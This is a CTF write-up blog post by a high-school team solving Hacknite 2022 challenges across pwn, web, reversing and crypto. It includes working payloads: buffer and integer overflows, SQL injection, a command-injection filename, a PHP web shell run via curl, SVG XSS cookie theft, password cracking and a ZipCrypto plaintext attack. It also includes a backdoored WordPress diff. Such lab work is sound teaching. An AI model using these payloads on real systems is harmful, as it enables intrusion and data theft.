Home » Blog


 · 31 min · NullDev

Hacknite is a capture the flag event organised by CARNET, aiming to spread cybersecurity knowledge among high schoolers.

karlo_kajba_simanic karlo_smircic toni_kukec teo_vozila frane_livic
Table of Contents

In this article we will cover a CTF competition in which we participated. We will show how to solve all challenges and we will tell something about our expirience.

About Hacknite

Hacknite is a two-day CTF competition intended for high school teams who can demonstrate their knowledge and skills, as well as expand their knowledge of cybersecurity. The competition expands awareness of the importance of applying security measures and avoiding and correcting possible security flaws in program code, settings or some other component of the computer system.


Binary exploitation

MrRobot - 150

Connecting to netcat chal.hacknite.hr 7596 we see

============================== START ==============================

Dobrodosli na tajni posluzitelj. Koje je vase korisnicko ime?

aa // ==> input any string
user_name: 0x7fff6d1d6b50  file_name: 0x7fff6d1d6b90
Poruka za: aa
hello friend! Budete li istrazili poslUzitelj otrkiti cete tajnu. mozda krije neke 'txt' datoteke. moze li FFffffffffffffff pomoci? a mozda 'mrrobot'?

=============================== END ===============================

we know the offsets, and without even seeing the source file, we can just

$ calc "0x7fff6d1d6b90 - 0x7fff6d1d6b50"

and with that, we have

$ python -c "print('a'*64+'mrrobot.txt')" | nc chal.hacknite.hr 7596
============================== START ==============================

Dobrodosli na tajni posluzitelj. Koje je vase korisnicko ime?

user_name: 0x7ffcf229f850  file_name: 0x7ffcf229f890
Poruka za: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaamrrobot.txt

=============================== END ===============================

The Flag: CTF2022[811706070328]

Tajni chat - 250

We were given the source code:

#include <stdio.h>
#include <stdlib.h>
struct pozivatelj {
    char ime[10];
    char kontakt[10];

struct status_racuna {
	char odobren;
	char moze_citati_flag;


int main(){
      long long broj_pozivatelja;
      printf("Upišite koliko ljudi Vas je pozvalo u ovaj chat: ");
      scanf("%lld", &broj_pozivatelja);
      struct pozivatelj* popis_pozivatelja;
      struct status_racuna* status;

      if(broj_pozivatelja > 0){

		popis_pozivatelja = malloc(broj_pozivatelja * sizeof(struct pozivatelj));
		status = malloc(sizeof(struct status_racuna));
		status->odobren = 0;
		status->moze_citati_flag = 0;
		for(long long i=0; i<broj_pozivatelja; i++){

		    printf("[DEBUG] status %p popis_pozivatelja[%lld] %p\n",status,i,popis_pozivatelja[i].ime);
		    printf("Ime pozivatelja: ");


		    printf("Kontakt e-mail pozivatelja: ");

		    char nastavak;
		    printf("Nastaviti? (upišite N ako ne želite nastaviti, bilo koje drugo slovo ako želite): ");
		    scanf(" %c",&nastavak);

		    if(nastavak == 'N'){

		status->odobren = 0;
		status->moze_citati_flag = 0;
		printf("Ovo je tajni chat, mora vas pozvati bar jedna osoba\n");
	if(status->odobren && status->moze_citati_flag){
		FILE *flag;
		char ret_string[24];
		flag = fopen("flag", "r");
		fgets(ret_string, sizeof(ret_string), flag);

When you run the code you can set the number of “callers”, then the program allocates memory for each caller and the status struct. The main goal was to overwrite the status values in memory, so we can retrieve the flag.

After a lot of tinkering around with the program, we figured out how to do this. When the program tries to allocate memory for “callers” - popis_pozivatelja = malloc(broj_pozivatelja * sizeof(struct pozivatelj)); it multiplies the entered number of “callers” with 20 (size of the struct). Because long long number is stored in 8 bytes, the maximum number that can be stored is 2^64-1. If the multiplication produces a number bigger than that it will overflow back to 0. Then we set the number of “callers” to (2^64-1)/20 ≈ 922337203685477581. After that, we could officially access the memory of status. We just had to rewrite it with \001.

$ netcat chal.hacknite.hr 8084
Upišite koliko ljudi Vas je pozvalo u ovaj chat: 922337203685477581

[DEBUG] status 0x7f339ed97050 popis_pozivatelja[0] 0x7f339ed97040
Ime pozivatelja: ^A^A^A^A^A^A^A^A^A^A

Kontakt e-mail pozivatelja: ^A^A^A^A^A^A^A^A^A^A
Nastaviti? (upišite N ako ne želite nastaviti, bilo koje drugo slovo ako želite): N

My shell displays \001 as ^A because it is an incorrect UTF-8 character.

The flag: CTF2022[878249064910]


Raspršeni podaci - 40 points

The only thing we were given was an URL to the site. Since it was a beginner-level task, we knew it was going to be easy. We were presented with a basic site:

Raspšeni podaci1

Firstly, we checked the source code of the website and we immediately found the first part of the flag.

<!doctype html>
<html lang="hr">
		<meta charset="utf-8" name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no, user-scalable=false;">
		 <link rel="stylesheet" href="my_style.css">
		 <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
		<!-- zbog sljedeceg linka se vidi navigacijski gumb-->
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">

		<title>Moja stranica</title>
	<!--style="background-color: #174809"-->
		<nav class="navbar navbar-collapse-lg navbar-light bg-light border-bottom border-dark" style="border-color: #174809">
			<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarTogglerDemo01" aria-controls="navbarTogglerDemo01" aria-expanded="false" aria-label="Toggle navigation">
    				<span class="navbar-toggler-icon"></span>
  			<div class="collapse navbar-collapse" id="navbarTogglerDemo01">
    				<ul class="navbar-nav mr-auto mt-2 mt-lg-0">
      					<li class="nav-item">
        					<a class="nav-link" href="/index.php" onclick="javascript:obavjesti()">Početna <span class="sr-only">(current)</span></a>


<main style="margin-top: 50px; margin-left: 15px">
   <h1>Dobrodo&scaron;li na moju web stranicu!</h1>
   <!-- 1. dio flaga: CTF2022[12 -->
   <p> Ovo je stranica koju radim u sklopu projekta. Trenutno se stranica razvija, ali slobodno možeš istraživati po stranici.
<br> TO DO: Potrebno je dodati još stvari.
   <script src="my_script.js"></script>
   		<footer class="text-center text-black fixed-bottom" style="background-color: #bdeacc; height: 70px;">
		<p style="color:black; height: 50px; font-size:20px;">Današnji datum je: 16.10.2022</p>
		<script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script>


After that, we checked the CSS and js files that were loading.


body {
/* TODO: kako zabraniti google - u da indeksira moju stranicu? */
  background-color: white;
h1 {
  color: black;
/* 2. dio flaga: 5086 */


function obavjesti(){
	alert("Stranica se trenutno u razvijanju, nije još dovršena!");

// 3. dio flaga: 385

With no surprise, we found the second and third parts of the flag. We were only missing the last part. Since there was some mention of indexing in CSS we went looking for robots.txt, where we found the last part of the flag, which gets us our first flag.


User-agent: *
Disallow: /index.html
#  4. dio flaga: 208]

The flag: CTF2022[125086385208]

Nemoguća anketa - 60 points

After loading the site we saw a simple form, where one element was disabled.

Nemoguca anketa 1

We knew what we had to do so we opened the inspector and changed the disabled flag.

    <label for="flag" style="color:#9198aa;">Najdraža riječ mi je "flag"</label>
    <input type="checkbox" id="flag" name="flag" disabled="disabled">

We could then submit the form with the checkbox ticked. After which, we got the flag: CTF2022[994525817816]

Admin naručivanje - 80 points

After we did some inspection of the site we found that you could not order when you do not have the appropriate permissions.

Admin narucivanje 1

The first thing we checked was the site cookies. Sure enough we found the required cookie.

Admin narucivanje cookie

After we changed the value to 1 and refreshed the site we got the flag: CTF2022[977815061504]

Eko trgovina - 90 points

We again did some inspection and found a search bar. It was used to load some items from the database. The first thing that came to our mind was SQL Injection since we saw some items loading on the other page.

Eko trgovina 1

We entered the simplest one: ' OR 1=1 -- -

We were presented with the flag: CTF2022[204217863258]

Blog - 100 points

The page that was loaded mentioned a code used for password generation. The admin of the website used it for the creation of his own password.


After that, we did some more scoping of the site. We got some basic information about the user.

Podaci o korisniku:
Korisničko ime: mmarkic
Korisnički račun stvoren: 2022-08-17 13:06
Grad: Zagreb

From that, we got the user’s username and the time the account was created. Since we got the password generator and it used timestamp for password generation. We immediately entered the timestamp of 2022-08-17 13:06 in the program and got the wrong result. We were a bit puzzled by that and after something we figured that the user was not created at 2022-08-17 13:06:00 but in that minute. We then generated all possible passwords and began a Burpsuite Intruder process with the passwords. To no one’s surprise one password was right and we got the flag: CTF2022[823762111186]

Analiza datoteka - 110 points

The site had a way to upload files, which would then analyze and display some basic information about the file. First, we tried with a normal file.

Analiza datoteka1

After that, we knew there was some kind of vulnerability there. Since we got the site’s source code as well we opened it.

<?php include "header.php"; ?>

<main class="container d-flex justify-content-center" style="margin-top: 5%; ">
<!-- h-60 v-30 -->

<div class="container py-5 h-40 v-30 " style="margin-left: 30%;">
	<form enctype="multipart/form-data" method="POST">
		<div class="form-group">
			<input id="file" class="form-control-file"  name="file" type="file" style="margin-bottom:3px;" />
			<button type="submit" class="btn" style="background-color: #720d0d; color: white">Pošalji datoteku</button>
<!--	</div> -->
   <div class="container py-5 h-40 v-30" style="margin-left: -15%;"> <?php

if (isset($_FILES["file"])) {

	$filename = $_FILES["file"]["name"];
	$uploaddir = "/var/www/uploads/";
	$uploadfile = bin2hex(random_bytes(8)) . "_" . basename($_FILES["file"]["name"]);
	move_uploaded_file($_FILES["file"]["tmp_name"], $uploaddir . $uploadfile);
	$name = $uploaddir.$uploadfile;
	$cmd1 = "file -b --mime-type '".$name."'";

		?><div class="alert alert-info" role="alert" style="margin-top:5px;">
  			<h4 class="alert-heading">Rezultat analize</h4>
  			<p style="witdh:400px;">Ime datoteke: <?php echo $filename;?></p>
  			<p style="witdh:400px;">Veličina datoteke: <?php echo $_FILES["file"]["size"]?></p>
  			<p style="witdh:400px;">Mime type: <?php system($cmd1.' 2>&1'); ?> </p>


<?php include "footer.php"; ?>

We suspected that $cmd1 = "file -b --mime-type '".$name."'"; had some kind of a vulnerability and after some searching on the internet we got a basic exploit working. If you would upload a file with ' && ls # as a filename, you could get remote code execution working.

Analiza datoteka2

We could see the flag file, so we put ' && cat flag-3r092hf0r2hrr29g2g2hg92 # as the filename. We were displayed the flag: CTF2022[470727330848]

Modificiran Url - 120 points

We were given a simple site with a search bar. When you search something using it, the site tries to get a png representation of the file. The main goal was to get an admin page for the site. The Task description mentioned that the admin page was hosted locally in a different place.

Modificirani URL

We tried a few things and got LFI(Local File Inclusion) working. After that, we got a bit stuck. There was nothing in the common locations and we could not figure out where the admin page was. Then we tried looking at the running services. We found 2 interesting services, one running Apache2 with PID 28, and one running a Python HTTP server with PID 33. We then used localhost/proc/33/cmdline to get some more information.

python3 -m http.server 7777

Knowing that information, we tried accessing localhost:7777/. This lead us to localhost:7777/admin.html

        <div class="alert alert-success" role="alert" style="margin-top:5px;">
          <h4 class="alert-heading">Pozdrav admine!</h4>
          <p> CTF2022[047190751806]</p>

The file contained the flag: CTF2022[047190751806]

Nova društvena mreža “Shell” - 130 points

After opening the site we saw a form for uploading files.

Drustvena mreza

It said there was a limitation to image formats, but after some scoping around we saw it was a client-side limitation since we got the js:

var file = document.getElementById("file");
file.addEventListener("change", function(event) {
    var filename = file.files[0].name;
    var extension = filename.split('.').pop();
    if(extension == "jpg"){
    if(extension === "jpg"){
    if(extension == "jpg" || extension == "png" || extension == "jpeg"){

        alert("Oprez! Dopuštene ekstenzije us JPG, PNG ili JPEG.");

}, false );

We knew that was the vulnerability, so we uploaded a .php file to the server. The file:


Then we just had to make a POST request and get the data from a server with

curl -X POST chal.hacknite.hr:9145/uploads/7f8019aca4d332ccimg.php -d "=ls"

. That is how we got the remote code execution. After we did some enumeration on the server we found a database file with

curl -X POST chal.hacknite.hr:9145/uploads/7f8019aca4d332ccimg.php -d "=cat ../../../admin_bitno/db/users.db"

Once we downloaded the file we used SQLite Viewer to view the contents. One of the entries was the base64 encrypted flag: CTF2022[637147838332]

Nova društvena mreža “Shell” 2 - 160 points

This challenge was similar to Nova društvena mreža “Shell”. The main differences were that you could upload SVG and GIF, and the file verification was done server-side. The first thing we tried was XSS with SVG. Once we got the basic principle working we got to the exploitation. We that there was a process opening the SVG file, not only us. So we tried a few things, one of which was getting the cookies of the worker.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    function httpGet(theUrl)
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.open( "GET", theUrl, false ); // false for synchronous request
        xmlHttp.send( null );
        return xmlHttp.responseText;

    alert("XSS by BHARAT");

After the worker opened the .svg we got our url-encoded flag.


The flag: CTF2022[231196032765]

Reverse engineering

Između redaka - 25 points

The only thing we had to do was run strings on the file.

$ strings program_linux | grep CTF

The flag: CTF2022[708773414626]

Nepotrebno - 40 points

We were given a python script used for encryption and the encrypted flag string.

Python code:

import base64

def my_encoding(result):
	tmp = result
	return_value = ""
	result = base64.b32encode(result.encode())
	for i in range(len(tmp)):
		return_value += chr(ord(tmp[i]) + ( i % len(tmp) + i))
	value = tmp
	my_file = open("file", "r").readline().rstrip()
	if(return_value == my_file):
	return value

flag = open("flag", "r").readline().rstrip()
result = ""
for i in range(len(flag)):
	result += chr(ord(flag[i]) + ( (i % len(flag)) + i) - (i % 100))

Encrypted flag:


We had to write a small python script that is going to decode our flag. Our solution is:

import base64

cypher = b'8CHLA8Q84CQI6D136SHJG8R24CT26FP380HJU8Q54CVI6H1388HKI8Q54D2I6HP3E4======'
result = ''.join(base64.b32hexdecode(cypher).decode().split('#'))
flag = ""
for i in range(len(result)):
    flag += chr(ord(result[i]) + (i%100) - ((i % len(result)) + i))

Once we ran the script we got the flag: CTF2022[266492639434]

Potencije - 55 points

We were greeted with three files one containing a fake flag, one containing an encrypted flag, and one containing a python encryption script.

Fake flag:


Encrypted flag:


Encryption script:

def encrypt(flag, fake_flag):
	another_flag = ""
	other_flag = False
	for i in range(len(flag)):
		if flag[i] == "[":
			other_flag = True
		if 48 <= ord(flag[i]) <= 57 and other_flag is True:
			another_flag += str((int(flag[i]) * int(fake_flag[i])) ** (i + 1))
			if flag[i + 1] != "]":
				another_flag += "|"
			another_flag += flag[i]

flag = "CTF2022[REDACTED]"
fake_flag = open("fake_flag.txt", "r").read()
encrypt(flag, fake_flag)

It took us a bit to create the program to decrypt, but we managed to do it. You can see the python script below:

fake_flag = "CTF2022[123456789123]"

def decrypt(fake_flag):
    flag = ""
    vals = "C|T|F|2|0|2|2|[|512|60466176|177147|36520347436056576|3102863559971923828125|478296900000000000000|2232232135326160725639168|0|2185911559738696531968|1628413597910449|524288|0|]".split("|")
    for i in range(len(fake_flag)):
        if i > 7 and i < 20:
            flag += str(int(round((int(vals[i]))**(1/(i+1)))/int(fake_flag[i])))
            flag += vals[i]


We had to run the script and then got the flag: CTF2022[231695602710]

Offline verifikacija - 65 points

We are given an apk. I tried to install it on my phone, but adb complained about it, so I just went straight to decompiling it. There’s a great apk analysis tool at http://www.javadecompilers.com/apk. I gave it the file and got back some source code to analyse. We can open up


, and see that it reads a string, splits it into slices, calculates the MD5 hash of each slice and checks if they are equal to hash1, hash2 and hash3. The hash_ variables are loaded from C0896R.java, but that file contains just the pointers.

        public static final int hash1 = 2131689513;
        public static final int hash2 = 2131689514;
        public static final int hash3 = 2131689515;

We can download the decompiled source from the website, and run grep -ri "hash1" . to search for the string in the entire project. resources/res/values/strings.xml contains all the hashes:

<string name="hash1">40569cf39d0ee1ada21d70ca198e780b</string>
<string name="hash2">a5585a4d4b12277fee5cad0880611bc6</string>
<string name="hash3">23bb8511ed8e41a8e47f735b6bd6b3cc</string>

which we can just dump into crackstation.net, and get back the slices we need.

Offline verifikacija

Flag: CTF2022[051047410335]

Kod bake Dore - 85 points

We received a .zip file with some docker configuration files.

The Dockerfile is the most important thing here. If you open it and scroll down to line 28, you can find a curl request that downloads


, with the $version being defined just a few lines above as 5.8.1.

The downloaded file looks like a normal wordpress install, but just to make sure, we can download the official one from https://wordpress.org/wordpress-5.8.1.tar.gz, and check if everything is the same.

$ diff wordpress/ wordpress-hacknite/wordpress/ -r
diff --color -r wordpress/wp-includes/version.php wordpress-hacknite/wordpress/wp-includes/version.php
// ommited - a bunch of empty lines
> if($_SERVER["HTTP_USER_AGENT"] == base64_decode("Q1RGMjAyMls4Nzc5NTE5OTU4ODdd")){
>   flood_ip_address($_GET["target"]);
> }
diff --color -r wordpress/wp-load.php wordpress-hacknite/wordpress/wp-load.php

And there it is

$ echo "Q1RGMjAyMls4Nzc5NTE5OTU4ODdd" | base64 -d

The flag: CTF2022[877951995887]

Napredna obfuskacija - 100 points

It’s Windows only for this one boys. :(

Unesite lozinku:
Neispravna lozinka

DesktopAppCTF.deps.json tells us we have a .NET version 6.0 executable. The best debugger for this one should be dnspy, so I downloaded it and started debugging.

Obfuskacija 1

I then opened Debug > Windows > Memory > Memory 1 to get a heap dump. dnSpy thankfully implemented Ctrl+F for the heap. Select String (UTF-8) instead of Hex for the search mode, and type in CTF2022

Obfuskacija 2

Well that was much easier than I expected it to be.

Flag: CTF2022[736116803912]

The included SECRET.iso contains a tajno.lnk file, which downloads an executable from /EncryptFlag.exe. The task said something about the file being detected as malicious, so I ran it through VirusTotal just to make sure. VirusTotal. Only 5 vendors flagged the file as malicious, so it’s probably safe.

In the Behavior tab, we can see that the exe downloads https://pastebin.com/raw/P0xWUyiT, but we can’t find anything else that could be interesting.

The Jujubox analysis is much better though. We can see that the exe tries to access C:\Hacknite_2022_solutions\zadatak_reversing\keyfile.txt and C:\Hacknite_2022_solutions\zadatak_reversing\flag.txt. After some debugging, I found that keyfile.txt is just the thing downloaded from pastebin, and flag.txt is the file that gets encrypted. I put CTF2022[ into flag.txt at the directory the exe looks in, and it got encrypted into a mess similar to the corrupted_flag.txt supplied. I ran EncryptFlag.exe again, completely accidentally, and flag.txt now contained CTF2022[ again. This looked really interesting, so I renamed corrupted_flag.txt into flag.txt, ran the exe, and got the flag.

The flag: CTF2022[147761958521]


ASCII anagram - 120 points

The task provided us with 6 images of random city streets and the task was to get the 12 numbers for the flag.

The first thing we did is find out which cities were on the images by reverse google search or by searching a certain thing in the image like a street name or a hotel name. By doing that we found out that the 6 cities in these images were: Zürich, Alexandria, Guangzhou, Rio de Janeiro, El Passo, and Brisbane. Since the name of the task is “ASCII Anagram” the first thing we did is tried to get the ASCII values of the first letters of the name of the cities. That gave us numbers 90 65 71 82 69 66 and when connected we get the flag.

The flag: CTF2022[906571826966]


Silazni brojevi - 40 points

We were provided with this string:


With this task, we got a long string that looked encrypted so we used a tool called CyberChef to decode it. When we set the string in the decoder it automatically recognized that it was encoded with base 85 and before that with base 64 so we just kept decoding with base 62, base 68, base 45, and lastly base 32 which gave us the flag.

Silazni brojevi

The flag: CTF2022[912938705976]

Samuel - 45 points

For this challenge, we used an online tool for deciphering called CyberChef. For solving this challenge we were given a text file that needed to be deciphered, challenge.txt. The file contained a binary “string”:


Once we deciphered it, we got a UTF-8 string representation:


It was obvious this was Morse code. The Challenge description also mentioned that zeros and ones were replaced with each other, so we had to swap dots with dashes and vice-versa.


After that, we had to replace dash with -, dot with ., and separator with .

---.. ----. ....- ..... -.... ..--- ...-- ---.. ----- ----. --... ....-

Once again, we used CyberChef to decipher the Morse code.


The flag: CTF2022[894562380974]

Mod n je potreban? - 50 points

We can see the input contains classic RSA parameters, n, e and the ciphertext c. The RSA Wikipedia article says that c = m^e (mod n) where c is the cipher we have, m is the plaintext message we need, and n and e are parts of the public key we are given. N is really large in the number we are given, so what if we do what the task name tells us to do, and… just… ignore it?

$ calc "root(922...., 5)"

That number is 435446323032325B3233353438373334313935325D in hex, which gives us CTF2022[235487341952] when converted to ASCII characters.

The flag: CTF2022[235487341952]

Jedinstveno kriptiranje - 50 points

We were given 2 files. One contains a python code used for encrypting and a .txt file with an encrypted string.




str1 = "Flag je CTF2022[XXXXXXXXXXXX]"
str2 = ""
for i in range(len(str1)):
	str2 += hex(ord(str1[i]) + i)[2:]

The task was pretty simple, we just had to reverse the encoding. We came up with a simple python code for decrypting the string:

str1 = ""
str2 = "466d636a246f6b274b5d503d3c3f406a4141454c494c4e4d4b4d525479"
for i in range(0, len(str2), 2):
    str1 += chr(int(str2[i:i+2], base=16) - int(i/2))

Once we ran the code we got:

Flag je CTF2022[103957863489]

The flag: CTF2022[103957863489]

Keepass - 70 points

We were give a .kdbx(Keepass) document and we had to get the password of the file and retrieve the flag. Our approach was a simple brute-force. We wrote a small script to help us with that:

use rayon::prelude::*; // multithreading
use std::io::Read;

fn is_valid(x: &str) -> bool {
        // keepassxc-cli gives status code 1 if the password is bad, that's all we need
        .arg(format!("echo \"{x}\" | keepassxc-cli db-info flag.kdbx"))
fn main() {
    let mut a = String::new();
    // head -n 100000 rockyou.txt > rocknew.txt because the original has some non utf8 bytes which rust complains about
        .read_to_string(&mut a)
    // par_lines() is a rayon thing, it multithreads the iterator
    a.par_lines().for_each(|x| {
        if is_valid(x) {
            println!("FOUND {}\n----------------------------", x);

We used rockyou.txt to crack the password. After 10 minutes or so we found the password. It was autumn. We then used it to retrive the flag from the file.

Flag file

The flag: CTF2022[795856097195]

Veliki fermatov teorem - 80 points

The only thing we got was an encrypted string:

Eščiđz mp Uomđll jto tč šigaluguđ codoaaišzođ r ćrmfjcž. Eh Ronrlidodža atčjegljjdšec đgđpmmđđsli 17. dogačnljj.
Jđg čn džid oitgđkj bcšgc. Deuršmod so nm ćožljtđptžžt h Dcflđenzh, Cdltijjh r Kofmčohxdž t lirifca ćrmfl. Čadž kmc jgljlobt člćlnrfjo tč čzdžčttdš lldnae li đllnžjtžup vjdivnjfnjc jn džvđtlđ indeajćtrvčaž Aecggčcsogov ačsdg zai. Haozo lđkđ (lj dzoncaedđ čdiaorgolj Jttdo ldsšo u ćtmčczš). Jđg čn uerij dt gjčtđjcžo mtftćčemcsiznđr ilsdžaj gi jigsca ćoogogv ćrđatdlnjnaua atčizkšš ž jozđgauiz liocziea umciljttj, ijoagoatm đttl scđ doljgjegđčm mđžsinaliaigedđ ćjčjap. Đahna dp zgć hnmltččcsi naodgio jdicttegeg tsićtnjvmgaua e lsgcšui jmgzzđi. Iifgrzc džu gjoger bjtrlmv lcćržaljv gajlžđđsžgs seđžčlđcsš i fezđgsienđdoc. Sivo jđlčc jdoaorc: dćt, apdl, mga, nzoov, čtđđiv, cdžać, tsmnđ, rorzg, lptžćđ, knde, apdl, lptžćđ. Žnćaai ez prc pffđ ngđtpk gt žgsos go nčo mj ao cjiglfnmc cčlnrdaco gdžšrs kkiaillzšš uejćmcsi. Bcmcelnljt vojczotat ićđć, hšč ao lj jdibjj mzoljišdaiš čstzinžno el ejdoa dzdđnđdiadfcu zšhoki. Oghšgedi ždiveza jđdl so or ljgcgkš Ntwogčlj, j ecogc r Zežjjcjlj učjž nlj engjvždjg čnmjn ca oidžrčgm mojmrvt đdjgiz šbfžađlsnržjldcd đojeba.

We quickly realized most of the string is just an encrypted Wikipedia article.

Pierre de Fermat bio je francuski matematičar i pravnik. Uz Descartesa najznačajniji matematičar 17. stoljeća.
Bio je sin trgovca kožom. Studirao je na fakultetima u Toulouseu, Orleansu i Bordeauxu i završio pravo. Još kao student pokazivao je neupitni talent za matematiku istaknuvši se

To decrypt the text we made a simple script to help us to detect the type of encryption:

fn main() {
    let cipher = "Eščiđz mp Uomđll ...";
    let clear = "Pierre de Fermat bio je francuski matematičar i pravnik. Uz Descartesa najznačajniji matematičar 17. stoljeća.
Bio je sin trgovca kožom. Studirao je na fakultetima u Toulouseu, Orleansu i Bordeauxu i završio pravo. Još kao student pokazivao je neupitni talent za matematiku istaknuvši se ";
    let alphabet = "abcčćddžđefghijklljmnnjoprsštuvzž";
    // ignore characters not in the alphabet
    let bad = "1234567890. (),:\nxyqw";
    for (mut x, mut y) in cipher
        .map(|x| x.to_lowercase())
        .zip(clear.chars().map(|y| y.to_lowercase()))
        let x = x.next().unwrap();
        let y = y.next().unwrap();
        if bad.contains(x) || bad.contains(y) {
            println!("{x} {y} - X");
        let d = (alphabet.chars().position(|c| c == x).unwrap() as isize
            - alphabet.chars().position(|c| c == y).unwrap() as isize)
            .rem_euclid(alphabet.chars().count() as isize);
            // rem_euclid because mod doesn't work how we want it to with negative characters
            // chars().count() instead of .len() because dž, lj, nj are 2 bytes each, and .len() will (correctly) say that they have length 2

            "{x} {y} {} {}",
            alphabet.chars().nth(d as usize).unwrap()

Fermat output

Then we figured out the cipher, so we wrote a small program to decipher it:

    for (x, d) in cipher
        .zip(std::iter::repeat("mitologija").flat_map(|x| x.chars()))
        if bad.contains(x) {
        // not how you should write rust, i just couldn't be bothered to find a cleaner method
        let deciphered = (alphabet
            .position(|c| c == x.to_lowercase().next().unwrap())
            .unwrap() as isize
            - alphabet.chars().position(|m| m == d).unwrap() as isize)
            .rem_euclid(alphabet.chars().count() as isize);
        print!("{}", alphabet.chars().nth(deciphered as usize).unwrap());

After deciphering the whole string we got:

pierre de fermat bio je francuski matematičar i pravnik. uz descartesa najznačajniji matematičar 17
. stoljeća.
bio je sin trgovca kožom. studirao je na fakultetima u toulouseu, orleansu i bordeauxu i završio pr
avo. još kao student pokazivao je neupitni talent za matematiku istaknuvši se svojom restauracijom
apolonijevog djela lat. plane loci (u slobodnom prijevodu bitne točke u ravnini). bio je jedan od z
ačetnika diferencijalnog računa sa svojom metodom pronalaženja najvećih i najmanjih ordinata krivul
ja, analognim tada još nepoznatom diferencijalnom računu. možda su još značajnija njegova briljantn
a istraživanja u teoriji brojeva. također su znatni njegovi doprinosi analitičkoj geometriji i vjer
ojatnosti. jako bitni brojevi: tri, nula, dva, sedam, četiri, osam, devet, devet, četiri, šest, nul
a, četiri. fermat je bio prvi čovjek za kojeg se zna da je izračunao integrale općih kvadratnih fun
kcija. koristeći genijalni trik, bio je u stanju reducirati jednadžbe na zbroj geometrijskih nizova
. dobivena formula bila je od pomoći newtonu, a potom i leibnizu koji su nezavisno jedan od drugoga
 razvili osnove infinitezimalnog računa.
tri, nula, dva, sedam, četiri, osam, devet, devet, četiri, šest, nula, četiri

So we retrieved the flag: CTF2022[302748994604]

AES kriptirana poruka - 90 points

We can connect to netcat chal.hacknite.hr 8083, input some text, and it spits out a nice hex string.

$ nc chal.hacknite.hr 8083

Wait, is that…? Let me just uhh…

$ nc chal.hacknite.hr 8083

It encodes each character separately… I whipped up a simple python script to crack it.

data = "CTF2022["
import subprocess
def get_enc(i):
    # [2:-3] to remove the bytestring things python adds, like in "b'test'\n"
    return str(subprocess.check_output(f"echo \"{i}\" | nc chal.hacknite.hr 8083", shell=True))[2:-3]

cipher = open("ciphertext", "r").read()

while data[-1] != "]":
    for x in "123456789[]":
        print(data + x)
        r = get_enc(data + x)
        if cipher.startswith(r):
            data += x

This will spit out the flag in about 10 seconds, and get you a warning from the admins not to hammer the server with a bunch of requests. Add a time.sleep(1) somewhere in there if you don’t want to make the admins angry.

Flag: CTF2022[616372146851]

ZIP - 120 points

We were given a .zip file. It was password protected and it contained C code for flag generation. We firstly began examining the file:

$7z l -slt SOURCE.zip
Listing archive: SOURCE.zip

Path = SOURCE.zip
Type = zip
Physical Size = 33871958

Path = flag_generator.c
Folder = -
Size = 75
Packed Size = 86
Modified = 2022-07-21 14:25:25
Created =
Accessed =
Attributes = _ -rwxrwxr-x
Encrypted = +
Comment =
CRC = 9D30B5EE
Method = ZipCrypto Deflate
Characteristics = UT 0x7875 : Encrypt Descriptor
Host OS = Unix
Version = 20
Volume Index = 0
Offset = 0

Path = glibc-2.35.tar.gz
Folder = -
Size = 35449927
Packed Size = 33871496
Modified = 2022-02-03 08:35:55
Created =
Accessed =
Attributes = _ -rw-rw-r--
Encrypted = +
Comment =
Method = ZipCrypto Deflate
Characteristics = UT 0x7875 : Encrypt Descriptor
Host OS = Unix
Version = 20
Volume Index = 0
Offset = 176

We found out it used ZipCrypto Deflate, an old encryption format which is vulnerable to Biham and Kocher’s known plaintext attack. We soon found out about pkcrack and bkcrack. We decided to use bkcrack for the attack. Inside the .zip file there was also glibc-2.35.tar.gz, which we could easily download from https://ftp.gnu.org/gnu/libc/glibc-2.35.tar.gz. After that we had to zip it using $ zip glibc.zip glibc-2.35.tar.gz. After that we can start attacking:

$ bkcrack -C SOURCE.zip -c glibc-2.35.tar.gz
 -P glibc.zip -p glibc-2.35.tar.gz
bkcrack 1.5.0 - 2022-07-07
[13:56:47] Z reduction using 1048569 bytes of known plaintext
10.0 % (105007 / 1048569)
[13:56:52] Attack on 157 Z values at index 944195
Keys: 2c4cf622 39741c2f bfda14c0
91.7 % (144 / 157)
[13:56:53] Keys
2c4cf622 39741c2f bfda14c0

When we got the keys we could unlock the archive:

$ bkcrack -C SOURCE.zip -k 2c4cf622 39741c2f bfda14c0 -U unlocked.zip 123
bkcrack 1.5.0 - 2022-07-07
[14:01:09] Writing unlocked archive unlocked.zip with password "123"
100.0 % (2 / 2)
Wrote unlocked archive.

Then we have access to the unlocked zip:

$ unzip unlocked.zip
--> password: 123

$ cat flag_generator.c
#include <stdio.h>

int main(){



The flag: CTF2022[400008446791]


Zalutali ZIP - 30 points

